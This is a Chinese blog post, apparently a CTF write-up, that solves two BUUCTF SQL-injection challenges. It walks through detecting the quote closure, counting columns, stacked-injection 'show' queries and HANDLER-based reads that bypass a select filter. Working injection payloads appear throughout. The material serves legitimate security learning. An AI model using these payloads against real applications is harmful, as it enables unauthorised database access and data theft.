Buuctf(handler的使用)[强网杯 2019]随便注 1)+([GYCTF2020]Blacklist 1)

本文详细介绍了SQL注入的判断方法,包括闭合方式的确定、数据库列数的探测、注入点识别以及利用堆叠注入进行数据库、表和字段的爆破。在面对过滤限制时,通过Handler命令绕过限制获取字段内容。文章展示了两种不同场景下的实战应用,强调了Handler在SQL注入中的重要作用。
摘要由CSDN通过智能技术生成

判断闭合方式

方法一.使用(转义字符)\来判断SQL注入的闭合方式,看\斜杠后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型。

方法二.首先尝试:

?id=1’
?id=1"
结果一:如果都报错
判断闭合符为:整形闭合。

结果二:如果单引号报错,双引号不报错

继续尝试:
?id=1’ #
结果一:无报错
判断闭合符为:单引号闭合。
结果二:报错
判断闭合符可能为:单引号加括号。

结果三:如果单引号不报错,双引号报错

最后尝试:
?id=1" #
结果一:结果无报错
判断闭合符为:双引号闭合。
结果二:报错
判断闭合符可能为:双引号加括号。
SQL注入原理及如何判断闭合符

[强网杯 2019]随便注 1

一.判断闭合方式

在这里插入图片描述

法一: 输入1\发现\后边跟着是’‘,暂定为’'双引号闭合方式,
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1\'' at line 1
但是后边’'双引号闭合方式无论输入什么内容都只有一个回显,无法注入,所以需要法二来判断
法二:单引号报错,双引号不报错,尝试1’ #发现不报错,进而判断为单引号闭合

二.判断数据库有几列

order by 到3发现报错,因此数据库只有3列
1' order by 1,2,3 #

在这里插入图片描述

三.判断注入点(显示位,判断显示的信息是第几列的信息)

发现题目使用了preg_match正则匹配函数检测了很多字段,无法判断显示位,过滤了select导致无法进行接下来来爆库爆表等操作,因此我们需要想到用堆叠注入show来进行,在正常情况下堆叠注入的机会很少,因为后果很危险
1' union select 1,2 #

在这里插入图片描述

四.爆库(使用show)

堆叠注入就是用分号(;)来分隔每一条命令。我们在用; 结束一个sql语句后继续构造下一条语句。database应养成良好习惯,使用复数形式,因为不知道有几个库
1';show databases;#

在这里插入图片描述

五.爆表

1';show tables;#

在这里插入图片描述

六.爆字段

我们show了words表没有发现flag,因此show19198109311144514表,发现了flag。使用show 命令查看表中的「字段」,注意表名要用反引号包裹,尤其当表名为数字的时候
1';show columns from `words`;#
1';show columns from `1919810931114514`;#

在这里插入图片描述

六.爆字段内容(select不能使用时,handler就站了出来,handler的是表名不是字段名!!!)

因为show columns form `1919810931114514已经看到flag字段在191这个表里 ,但是show不能进入字段查看字段内容,这里就需要用到handler
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
MySQL“自古以来”都有一个神秘的HANDLER命令。使用此非SQL标准语法,可以降低优化器对于SQL语句的解析与优化开销,从而提升查询性能。HANDLER … OPEN 语句打开⼀个表,后续的 HANDLER … READ FIRST语句可以访问它。

在这里插入图片描述

[GYCTF2020]Blacklist 1

这题和上一道题的步骤一样,只是这题过滤的东西更多

在这里插入图片描述

但是还是没有过滤handler,嘿嘿,一样的操作,直接爆表

1';show tables;#

在这里插入图片描述

发现了flag,接下来爆字段,不要忘记了表名要用反单引号括起来

1';show columns from `FlagHere`;#

在这里插入图片描述

爆字段内容,重要的事情要反复说,不要忘记表名要用反单引号括起来。handler的是表名不是字段名!!!

1';handler `FlagHere` open;handler `FlagHere` read first;#

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值